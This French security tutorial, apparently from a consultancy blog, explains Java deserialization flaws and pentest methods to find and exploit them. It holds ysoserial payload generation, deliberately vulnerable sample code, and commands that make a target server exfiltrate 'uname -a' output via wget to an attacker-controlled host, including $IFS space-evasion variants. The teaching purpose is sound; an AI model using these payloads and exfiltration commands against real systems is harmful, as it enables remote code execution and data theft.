Techniques et outils d’attaque sur les moteurs de désérialisation (Java)

Introduction

La sérialisation consiste à transformer un objet applicatif en un format de données pouvant être restauré ultérieurement. Ce procédé est utilisé pour sauvegarder des objets ou les envoyer dans le cadre de communications.

 

Exemple de sérialisation d’une variable de type String en Java:
String name = « Wavestone »;
FileOutputStream file = new FileOutputStream(« file.bin »);
ObjectOutputStream out = new ObjectOutputStream(file);
out.writeObject(name);
Le fichier file.bin contenant l’objet name sérialisé a cette forme :
AC ED 00 05 74 00 09 57 61 76 65 73 74 6f 6e 65 ….t..Wavestone
  • La chaîne commence par “AC ED” – il s’agit du code hexadécimal identifiant la donnée sérialisée, toutes les données sérialisées commencent par cette valeur.
  • Le protocole de sérialisation version “00 05”.
  • Le type de variable String est identifié par le code “74”.
  • Puis la taille de la variable “00 09”.
  • Et finalement la variable en elle-même.
La désérialisation est l’inverse de ce processus, prenant des données structurées à partir d’un format et les reconstruisant en un objet. Le format de données le plus répandu pour la sérialisation des données est JSON (dans le passé, le format XML était majoritaire).
Pour reprendre l’exemple en Java sus-cité :
FileInputStream file = new FileInputStream(« file.bin »);
ObjectInputStream out = new ObjectInputStream(file);
name = (String)out.readObject();
System.out.println(name);
Le résultat dans la console sera donc
Wavestone
La fonction readObject est appelée pour désérialiser l’objet (à l’aide de ObjectInputStream) – et le convertir en String.
La désérialisation a de multiples cas d’usage pour les développeurs, par exemple (ici en Java) :
  • Désérialiser un objet “SQLConnection” pour se connecter à une base de données
  • Désérialiser un objet “User” pour récupérer des informations stockées dans une base de données en exécutant des requêtes SQL spécifiques
  • Désérialiser un objet “LogFile” pour restaurer les données précédemment enregistrées sur un profil utilisateur
De nombreux langages de programmation offrent une capacité native de sérialisation des objets. Ces formats natifs offrent généralement davantage de fonctionnalités que JSON ou XML, y compris la personnalisation du processus de sérialisation.
Malheureusement, les fonctionnalités de ces mécanismes de désérialisation natifs peuvent être détournées à des fins malveillantes lorsque la donnée à désérialiser est en fait une charge utile forgée spécifiquement par un attaquant pour être interprété comme du code à exécuter.
Les attaques contre les moteurs de désérialisation permettent notamment des attaques par déni de service, de contournement de contrôle d’accès et d’exécution de code à distance (RCE).

Exemple d’attaque : RCE

Cet exemple de code récupère un paramètre appelé csrfValue, qui est un jeton anti-CSRF présent sur une application web, envoyé à l’application sous forme de paramètre HTTP GET.
Pour cela, le paramètre est récupéré sous forme de String puis converti en ByteArrayInputStream et lu via la fonction readObject() pour être désérialisé.
String parameterValue = request.getParameter(« csrfValue »);

byte[] csrfBytes =DatatypeConverter.parseBase64Binary(parameterValue);
ByteArrayInputStream bis = new ByteArrayInputStream(csrfBytes);
ObjectInput in = new ObjectInputStream(bis);
csrfToken = (CSRF)in.readObject();
Cette fonction est potentiellement vulnérable: en effet, la fonction readObject() est appelé sur des valeurs envoyées par l’utilisateur en tant que paramètre csrfValue de la requête HTTP.
En effet, la fonction readObject() a pour spécificité de pouvoir être implémentée dans les classes Serializable qui en ont besoin pour lire un objet sérialisé.
Imaginons par exemple que la classe CSRF vue plus haut contienne pour une raison obscure ce morceau de code :
public class CSRF implements Serializable {

public String command = « ls »;

public void execCommand(){

Runtime.getRuntime().exec(this.command);

private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {

this.execCommand();
}
}
L’attaquant n’aurait qu’à forger un objet CSRF sérialisé (récupéré par le code plus haut dans csrfValue) contenant un paramètre command contenant la commande de son choix pour exécuter du code arbitrairement sur le serveur.
En effet :
  • ObjectInputStream ne vérifie pas quelle classe est désérialisée
  • Il n’y a pas de liste blanche ou noire de classes autorisées à être désérialisées
Ce cas de figure très facile à exploiter d’une implémentation de readObject() exécutant directement du code est toutefois très rare dans la réalité.
Ce qui arrive le plus fréquemment est que l’attaquant trouve une fonction ou une classe vulnérable à la modification de ses paramètres, qui peut appeler une autre fonction ou instancier une autre classe dans son périmètre d’exécution.
Les classes et fonctions disponibles dans le périmètre d’exécution d’une application sont appelées « gadget ». Suite à l’envoi d’une charge malveillante à un premier gadget appelé « kick-off gadget », une chaîne d’appels et d’invocation est lancée jusqu’à tomber sur un gadget qui est vulnérable à l’exécution de code arbitraire, appelé « sink gadget » :
De nombreux sink gadget existent dans les librairies de sérialisation/désérialisation standard, notamment :
  • Spring AOP (dévoilé par Wouter Coekaerts en 2011)
  • Commons-fileupload (dévoilé par Arun Babu Neelicattu en 2013)
  • Groovy (dévoilé par cpnrodzc7 / @frohoff en 2015)
  • Apache Commons-Collections (dévoilé par @frohoff et @gebl en 2015)
  • Spring Beans (dévoilé par @frohoff et @gebl en 2015)
  • Serial DoS (dévoilé par Wouter Coekaerts en 2015)
  • SpringTx (dévoilé par @zerothinking en 2016)
  • JDK7 (dévoilé par @frohoff en 2016)
  • Beanutils (dévoilé par @frohoff en 2016)
  • Hibernate, MyFaces, C3P0, net.sf.json, ROME (dévoilé par M. Bechler en 2016)
  • Beanshell (dévoilé par @pwntester et @cschneider4711 en 2016)
  • JDK7 Rhino (dévoilé par @matthias_kaiser en 2016)
Des outils générant des charges utiles spécialement conçues pour attaquer des gadgets affectés par des vulnérabilités publiques dans les librairies les plus utilisées existent, notamment le très complet ysoserial, développé par Frohoff : https://github.com/frohoff/ysoserial.

Exemple d’attaque : Compromission de compte utilisateur

Si un attaquant contrôle les données qui sont désérialisée par une application, il a alors une influence sur les variables en mémoire et les objets applicatifs. Il peut alors influencer le flux de code utilisant ces variables et ces objets.
Voyons un exemple d’attaque sur un morceau de code utilisant la désérialisation en Java :
public class Session {
public String username;
public boolean loggedIn;
public void loadSession(byte[] sessionData) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(sessionData));
this.username = ois.readUTF();
this.loggedIn = ois.readBoolean();
}
}
La méthode loadSession accepte un tableau d’octets en tant que paramètre et désérialise une chaîne et un booléen de ce tableau d’octets dans les propriétés username et loggedIn de l’objet.
Si un attaquant peut contrôler le contenu du tableau d’octets sessionData transmis à cette méthode, il peut alors contrôler les propriétés de cet objet : username et loggedIn.
Voici un exemple d’utilisation de cet objet Session dans une fonction de changement de mot de passe :
public class UserSettingsController {
public void updatePassword(Session session, String newPassword) throws Exception {
if(session.loggedIn) {
UserModel.updatePassword(session.username, newPassword);
} else {
throw new Exception(« Error: User not logged in. »);
}
}
}
Si le paramètre loggedIn de l’objet session vaut 1, le mot de passe de l’utilisateur dont le username correspond au paramètre idoine de l’objet session est mis à jour avec la valeur newPassword donnée.
Ici, si l’attaquant peut contrôler le contenu du tableau d’octets sessionData alors il pourrait changer le mot de passe de n’importe quel utilisateur !
C’est un exemple simple de « Property Oriented Programming Gadget », un morceau de code sur lequel l’attaquant peut agir non pas en direct mais via les propriétés d’un objet.
Un point important à retenir de cet exemple est qu’un exploit de désérialisation n’implique pas forcément l’envoi de classes ou de code au serveur à exécuter.
L’attaquant envoie simplement des données qui seront intégrées dans propriétés des classes dont le serveur a déjà connaissance afin de manipuler le code existant traitant de ces propriétés.
Un exploit réussi repose donc énormément sur la connaissance du code qui peut être manipulé par désérialisation. D’où beaucoup de difficultés à exploiter les vulnérabilités de type désérialisation malgré l’impact parfois colossal de ce type de failles.

Après la théorie, la pratique

Maintenant que vous savez tout (ou presque) sur la sérialisation/désérialisation Java et ses faiblesses, passons à la pratique :
  1. Comment trouver les fonctions utilisant la désérialisation lors d’un test d’intrusion web et les librairies utilisées ?
  2. Comment attaquer ces fonctions et potentiellement réussir à exécuter du code sur le serveur ?

Trouver les fonctions à attaquer

Méthode 1 : A la main, pour plus de finesse

La première étape de l’audit consiste à identifier l’utilisation de la désérialisation dans l’application auditée. Pour cela, différentes méthodes sont possibles :
  • Chercher la séquence hexadécimale suivante dans les transactions (capturées par burp) entre votre machine et le serveur : 0xAC ED.
    • Cette séquence de 2 octets est appelée « magic number » et est présente au début de chaque objet sérialisé. Elle est suivie du numéro de version, souvent 00 05.
    • Attention : Parfois, les objets sérialisés sont en plus encodés en base64, la séquence 0xAC ED devient alors rO0
  • Chercher des noms de classes Java dans les transactions, tels que java.rmi.dgc.Lease.
    • Dans certains cas, les noms de classe Java peuvent apparaître dans un autre format commençant par un « L », se terminant par un « ; » et utilisant des barres obliques pour séparer les parties de l’espace de noms et le nom de la classe (par exemple, « Ljava / rmi / dgc / VMID; »).
    • En raison de la spécification du format de sérialisation, d’autres chaînes peuvent être présentes, telles que « sr » pouvant représenter un objet (TC_OBJECT) suivi de sa description de classe (TC_CLASSDESC) ou « xp » pouvant indiquer la fin des annotations de classe, (TC_ENDBLOCKDATA) pour une classe qui n’a pas de super classe (TC_NULL).
  • Chercher l’entête Content-Type suivant : application/x-java-serialized-object
Après avoir identifié l’utilisation de données sérialisées, il faut identifier l’offset dans ces données où il est possible d’injecter une charge utile.
La cible doit appeler ObjectInputStream.readObject pour désérialiser et instancier un objet. Toutefois, elle peut appeler d’autres méthodes de ObjectInputStream, telles que readInt qui lira simplement un entier à 4 octets dans le stream. La méthode readObject lit les types de contenu suivants à partir d’un flux de sérialisation :
  • 0x70 – TC_NULL
  • 0x71 – TC_REFERENCE
  • 0x72 – TC_CLASSDESC
  • 0x73 – TC_OBJECT
  • 0x74 – TC_STRING
  • 0x75 – TC_ARRAY
  • 0x76 – TC_CLASS
  • 0x7B – TC_EXCEPTION
  • 0x7C – TC_LONGSTRING
  • 0x7D – TC_PROXYCLASSDESC
  • 0x7E – TC_ENUM
Dans les cas les plus simples, la première chose lue dans le flux de sérialisation est directement l’objet à désérialiser, et nous pouvons donc insérer notre charge directement après l’en-tête de sérialisation à 4 octets.
Nous pouvons identifier ces cas en regardant les cinq premiers octets du flux de sérialisation. Si ces cinq octets sont un en-tête de sérialisation à quatre octets (0xAC ED 00 05) suivi d’une des valeurs répertoriées ci-dessus, nous pouvons attaquer la cible en envoyant notre propre en-tête de sérialisation à quatre octets suivis d’un objet malveillant (la charge).
Dans d’autres cas, l’en-tête de sérialisation à quatre octets sera probablement suivi d’un élément TC_BLOCKDATA (0x77) ou d’un élément TC_BLOCKDATALONG (0x7A). Le premier consiste en un unique octet suivi des données de bloc et le second consiste en quatre octets suivi des données de bloc.
Si les données sont suivies de l’un des types d’élément pris en charge par readObject, nous pouvons alors injecter une charge utile après les données de bloc.
Nick Bloor a écrit un outil, SerializationDumper, qui permet de faciliter cette analyse. Voici un exemple d’utilisation :
Dans cet exemple, le flux contient un TC_BLOCKDATA suivi d’un TC_STRING qui peut être remplacé par une charge utile.

Méthode 2 : Automatiquement pour plus d’exhaustivité

Pour détecter des fonctions utilisant la désérialisation de façon automatisée, il est aussi possible d’utiliser l’extension Burp Java Deserialization Scanner en tant que scanner passif, scanner actif, ou pour tester une fonction précise.
Les librairies vulnérables actuellement prises en charge par l’outil sont :
  • Apache Commons Collections 3 (up to 3.2.1)
  • Apache Commons Collections 4 (up to 4.4.0)
  • Spring (up to 4.2.2)
  • Java 6 and Java 7 (up to Jdk7u21)
  • Hibernate 5
  • JSON
  • Rome
  • Java 8 (up to Jdk8u20)
  • Apache Commons BeanUtils
Pour utiliser la fonction de scanner passif ou actif, il suffit d’aller dans l’onglet correspondant de Burp et attendre l’apparition d’éventuelles vulnérabilités :

 

Pour tester une fonction précise, il faut dans un premier temps intercepter une requête dans Burp, puis réaliser un clic droit et l’envoyer à Java DS :

 

L’outil permet de déterminer les charges utiles (gadgets) qui semblent fonctionner, donc de deviner les librairies utilisées par l’application pour la désérialisation:

 

A noter

Le plug-in Java DS repose sur un outil intégré de génération de charges utiles (gadgets) open source : ysoserial. Il est préférable d’utiliser la dernière version de l’outil, car elle inclut les types de charge les plus récents en fonction des vulnérabilités découvertes sur les librairies de sérialisation.
Une fois le projet créé, n’oubliez donc pas de modifier le plug-in Java DS pour qu’il pointe vers le fichier jar ysoserial que vous aurez préalablement téléchargé :

 

Attaquer les fonctions utilisant la désérialisation

La fonction de désérialisation utilisée par l’application peut :
  • Être écrite et redéfinie spécifiquement dans la classe de l’objet à désérialiser (override de la méthode readObject)
  • Être appelée dans une bibliothèque externe, la plus connue étant Apache Commons Collections (fonction Utils.DeserializeFromFile)
  • De nombreuses autres possibilités existent : méthode readResolve, méthode readExternal, méthode readUnshared, bibliothèque XStream, etc.
L’outil Java Deserialization Scanner aura permis d’identifier la librairie utilisée. La prochaine étape est donc de générer la charge utile (gadget) correspondant à la librairie en question.
Pour cela il existe 3 possibilités :
  • Générer un payload avec ysoserial puis l’envoyer au serveur
  • Utiliser l’extension Burp Java Deserialization Scanner
  • Utiliser l’extension Burp Java Serial Killer

Méthode 1 : YSoSerial

L’une des vulnérabilités les plus importantes liée à la désérialisation a été découverte dans la bibliothèque Apache Commons Collections.
Si une version vulnérable de cette bibliothèque (ou d’une autre bibliothèque vulnérable) est présente sur le système exécutant l’application utilisant la désérialisation, cette vulnérabilité peut entraîner l’exécution de code à distance.
Afin d’exploiter cette vulnérabilité, il est possible d’utiliser l’outil ysoserial, qui contient une collection d’exploits et permet de générer des objets sérialisés malveillants qui exécuteront des commandes lors de la désérialisation.
Il est juste nécessaire de spécifier la bibliothèque vulnérable. Voici un exemple pour Windows :
java -jar ysoserial-master.jar CommonsCollections5 calc.exe > wave.stone
Cela générera un objet sérialisé (fichier wave.stone) pour la bibliothèque vulnérable Apache Commons Collections et l’exploit exécutera la commande « calc.exe ».
Si le code suivant est présent côté serveur :
LogFile objet = new LogFile();
String file = « wave.stone »;
// Désérialisation de l’objet
objet = (LogFile)Utils.DeserializeFromFile(file);
Alors après envoi de la charge malveillante au serveur (via Burp), l’output côté serveur sera le suivant :
Deserializing from wave.stone
Exception in thread « main » java.lang.ClassCastException:
java.management/javax.management.BadAttributeValueExpException
cannot be cast to LogFile at LogFiles.main(LogFiles.java:105)

Et le résultat sur le serveur sera l’exécution de calc.exe :

 

Méthode 2 : Java DS

À la suite de la phase de détection, nous savons qu’une charge utile (gadget) forgé pour CommonsCollections1 fonctionne contre notre cible.
En accédant à l’onglet « Exploiting » de Java DS, il est possible de créer et d’envoyer nos propres charges utiles.
Par exemple, pour tenter de lancer la commande uname -a sur le système Unix distant (si c’est un Unix) on entrera la commande suivante :

 

Le serveur renvoie ici un autre objet sérialisé en réponse, ce qui ne nous permet absolument pas de savoir si notre commande a réussi ou pas, ni d’avoir sa sortie.

 

Une technique permettant de valider l’exécution réussie de nos commandes consiste à utiliser un canal auxiliaire basé sur le temps : En mettant en pause le processus en cours d’exécution avec la commande Java Sleep, nous pouvons démontrer avec certitude que l’application est vulnérable en mesurant le temps de réponse du serveur.
Une charge utile basée sur la mise en pause du processus est donc suffisante pour identifier la vulnérabilité, mais si vous avez le temps et voulez aller encore plus loin, il est possible de récupérer cette sortie en déployant un serveur web sur votre machine, et en requêtant votre serveur web depuis le serveur cible.
Pour cela, sur votre machine d’audit, commencez par déployer un serveur web :
python -m SimpleHTTPServer 80
Et l’objectif va être de faire exécuter cette commande au serveur cible :
wget ip_attaquant/`uname -a | base64`
L’exploit de Apache Commons Collections fait transmettre notre commande à Apache Commons exec.
Par conséquent, les commandes sont invoquées sans avoir de shell parent, ce qui limite rapidement les actions… Mais on peut appeler un shell bash via Apache Commons exec via la commande bash -c.
Toutefois, Apache Commons exec parse les commandes en gérant très mal les espaces… Pour résoudre ce problème, on peut utiliser 2 approches :
  • Utiliser les fonctions de manipulation de chaîne en bash. Par exemple, cette commande charge le résultat en base64 de la commande echo yoloswag dans la variable c, qui est ensuite ajoutée au chemin de la requête wget :
bash -c c=`{echo,yoloswag}|base64`&&{wget,ip_attaquant/$c}’
  • Il est aussi possible d’utiliser la variable $IFS (séparateur de champs interne) à la place des espaces dans la commande transmise à Bash. Ici pour lancer un uname -a :
bash –c wget$IFSip_attaquant/`uname$IFS-a|base64`
Dernier point important : il peut être nécessaire d’échapper les barres obliques et les signes dollar dans certaines situations, tout dépend de la charge utile et des fonctions touchées.
Ici, avec une machine d’audit ayant pour IP 54.161.175.139 :

 

Le résultat côté serveur web sur la machine d’audit est le suivant :
Une requête depuis l’IP du serveur cible apparaît, vers une URL encodée en base64 et qui correspond à la sortie de la commande « uname -a ».
En effet, après une extraction de la donnée et son décodage base64 par la commande suivante :
tail -n1 access.log | cut -d/ -f4 | cut ‘d’’ -f1 | base64 -d
Le résultat suivant apparaît :
Vous avez donc exécuté une commande uname -a avec succès sur le serveur cible : vous êtes désormais un serial hacker accompli !
Le maître deserializateur veut vous serrer la main

Méthode 3 : Java Serial Killer

À la suite de la phase de détection, nous savons qu’une charge utile (gadget) forgé pour CommonsCollections1 fonctionne contre notre cible.
Vous pouvez alors utiliser l’extension Burp Java Serial Killer ; un clic-droit sur une requête POST contenant un objet Java sérialisé dans le body permet de l’envoyer à l’extension :

 

Allez ensuite dans l’onglet Burp « Java Serial Killer » :

 

Cet onglet prend en entrée :
  • Une commande à exécuter sur le serveur cible
  • La librairie vulnérable à exploiter
Par exemple, pour envoyer une requête ping à wavestone.com en utilisant le type de charge utile CommonsCollections1, car nous savons qu’elle fonctionne suite à la phase de détection :

 

Il est aussi possible d’encoder la charge en Base64, si c’est le format attendu par le serveur (voir la petite checkbox à droite de « Serialize »).

Conclusion

Vous avez désormais les bases théoriques permettant de comprendre les vulnérabilités liées à la désérialisation en Java, et les techniques et outillages pratiques permettant de les exploiter dans les librairies les plus connues, sans connaissance préalable du code applicatif.
Toutefois, il est à garder en tête que ces librairies ne sont pas utilisées dans 100% des cas de désérialisation, comme vu dans le chapitre « Exemple d’attaque : Compromission de compte utilisateur », où la vulnérabilité exploitée n’impliquait d’ailleurs même pas l’envoi de code au serveur à exécuter. Les exploits plus spécifiques reposent donc énormément sur la connaissance du code (ou l’ingénierie inverse sur ce code) qui peut être manipulé par désérialisation. D’où beaucoup de difficultés à exploiter les vulnérabilités de type désérialisation malgré l’impact parfois colossal de ce type de failles.
Par ailleurs, la sérialisation/désérialisation n’est pas un concept exclusif à Java, et se retrouve dans de nombreux autres langages de programmation, notamment :
  • Python : pickling / unpickling
  • PHP : serializing / deserializing
  • Ruby : marshalling / unmarshalling
La méthodologie globale reste la même, mais les outils peuvent varier (Freddy à la place de ysoserial pour les moteurs de désérialisation XML par exemple…).
La cheatsheet suivante peut donner de bonnes pistes d’audit pour ces autres langages et technologies :

Sources et références pour approfondir le sujet

Article Nytro sur la désérialisation Java
Article de Synopsys expliquant comment exfiltrer de la donnée via la désérialisation Java et contourner les principales limitations techniques que l’on peut rencontrer
Cheatsheet pour la désérialisation Java
La désérialisation Java avec Burp
Article complet expliquant la désérialisation Java et listant plusieurs outils dédiés
Liste de recommandations sur l’usage de la désérialisation pour divers langages
Support d’un talk d’Insomnia sur la désérialisation pour plusieurs langages à l’OWASP New Zealand Day 2016
Exploitation de vulnérabilités de désérialisation Java dans des environnements sécurisés (systèmes avec pare-feu, Java mis à jour)
Exploiter la désérialisation Java en aveugle avec Burp et Ysoserial
Write-up du challenge Webgoat 8 (application d’entraînement développée par l’OWASP) d’exploitation d’une vulnérabilité de désérialisation non sécurisée
Article d’un reverse engineer de Tenable expliquant l’analyse de la  CVE-2016-3737, et l’écriture de gadgets pour Jython
Cours Java sur l’implémentation d’une classe sérialisable
Support d’un talk d’Alvaro Munoz (@pwntester) et Christian Schneider (@cschneider4711) à l’OWASP AppSecEU 2016 sur les vulnérabilités de désérialisation de la JVM et comment s’en protéger
Support d’un talk de Chris Frohoff (@frohoff) et Gabriel Lawrence (@gebl) à l’OWASP San Diego sur la désérialisation Java
Analyse de l’attaque d’Equifax (143 millions de clients touchés aux USA) en 2017 par @brandur, reposant sur le chaînage de gadgets
Support d’un talk de Matthias Kaiser (@matthias_kaiser) à la HackPra WS 2015 sur l’exploitation de vulnérabilités de désérialisation non-sécurisée
Article de Ian Haken sur la découverte automatisée de chaînes de gadgets, notamment avec Gadget Inspector
Article de @breenmachine de 2015 sur la désérialisation Java dans plusieurs technologies du marché et détail de 5 exploits (websphere, jboss, jenkins, weblogic et openNMS)
Back to top